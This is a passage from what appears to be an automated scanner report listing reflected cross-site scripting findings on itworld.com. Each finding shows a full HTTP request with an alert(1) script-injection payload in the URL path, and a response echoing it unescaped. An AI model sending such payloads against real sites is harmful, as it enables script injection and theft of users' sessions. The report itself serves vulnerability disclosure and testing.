X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites8b76a"><script>alert(1)</script>eac1e78b903/all/modules/contrib/img_assist/img_assist.js?h"/>
...[SNIP]...

1.190. http://www.itworld.com/sites/all/modules/contrib/img_assist/img_assist.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/img_assist/img_assist.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9adb1"-alert(1)-"6a1746327eb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites9adb1"-alert(1)-"6a1746327eb/all/modules/contrib/img_assist/img_assist.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:20:08 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460008"
Content-Type: text/html; charset=utf-8
Content-Length: 57466
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:20:11 GMT
X-Varnish: 1959722685
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites9adb1"-alert(1)-"6a1746327eb/all/modules/contrib/img_assist/img_assist.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't fi
...[SNIP]...

1.191. http://www.itworld.com/sites/all/modules/contrib/img_assist/img_assist.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/img_assist/img_assist.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 35b6e"-alert(1)-"8b8b4107174 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib35b6e"-alert(1)-"8b8b4107174/img_assist/img_assist.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:08 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460188"
Content-Type: text/html; charset=utf-8
Content-Length: 57472
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:14 GMT
X-Varnish: 252446948
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib35b6e"-alert(1)-"8b8b4107174/img_assist/img_assist.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requ
...[SNIP]...

1.192. http://www.itworld.com/sites/all/modules/contrib/img_assist/img_assist.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/img_assist/img_assist.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 71ac2"><script>alert(1)</script>c68568ceeea was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib71ac2"><script>alert(1)</script>c68568ceeea/img_assist/img_assist.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:53 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460173"
Content-Type: text/html; charset=utf-8
Content-Length: 57686
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:55 GMT
X-Varnish: 252446771
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib71ac2"><script>alert(1)</script>c68568ceeea/img_assist/img_assist.js?h"/>
...[SNIP]...

1.193. http://www.itworld.com/sites/all/modules/contrib/img_assist/img_assist.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/img_assist/img_assist.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 137da"-alert(1)-"0d7bc91e095 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/img_assist/img_assist.js137da"-alert(1)-"0d7bc91e095?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:33 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460333"
Content-Type: text/html; charset=utf-8
Content-Length: 57472
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:36 GMT
X-Varnish: 1038160647
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
"2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/img_assist/img_assist.js137da"-alert(1)-"0d7bc91e095";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.194. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 35d85"-alert(1)-"b082d18e2ed was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites35d85"-alert(1)-"b082d18e2ed/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:28:33 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460513"
Content-Type: text/html; charset=utf-8
Content-Length: 57757
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:28:35 GMT
X-Varnish: 1038166026
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites35d85"-alert(1)-"b082d18e2ed/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.
...[SNIP]...

1.195. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6b30f"><script>alert(1)</script>d15c7a91e8e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites6b30f"><script>alert(1)</script>d15c7a91e8e/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:28:27 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460507"
Content-Type: text/html; charset=utf-8
Content-Length: 57976
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:28:28 GMT
X-Varnish: 1038165885
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites6b30f"><script>alert(1)</script>d15c7a91e8e/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js?h"/>
...[SNIP]...

1.196. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5226e"><script>alert(1)</script>b71a9bfd13c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all5226e"><script>alert(1)</script>b71a9bfd13c/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:28:42 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460522"
Content-Type: text/html; charset=utf-8
Content-Length: 57977
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:28:43 GMT
X-Varnish: 1038166244
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all5226e"><script>alert(1)</script>b71a9bfd13c/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js?h"/>
...[SNIP]...

1.197. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 63fd5"-alert(1)-"aea51ddab4e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all63fd5"-alert(1)-"aea51ddab4e/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:28:48 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460528"
Content-Type: text/html; charset=utf-8
Content-Length: 57757
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:28:51 GMT
X-Varnish: 1038166657
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all63fd5"-alert(1)-"aea51ddab4e/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar
...[SNIP]...

1.198. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 28a28"><script>alert(1)</script>991a6e41b0a was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules28a28"><script>alert(1)</script>991a6e41b0a/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:00 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460540"
Content-Type: text/html; charset=utf-8
Content-Length: 57976
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:00 GMT
X-Varnish: 1038166970
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules28a28"><script>alert(1)</script>991a6e41b0a/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js?h"/>
...[SNIP]...

1.199. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e13a2"-alert(1)-"4abf7d40c4b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modulese13a2"-alert(1)-"4abf7d40c4b/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
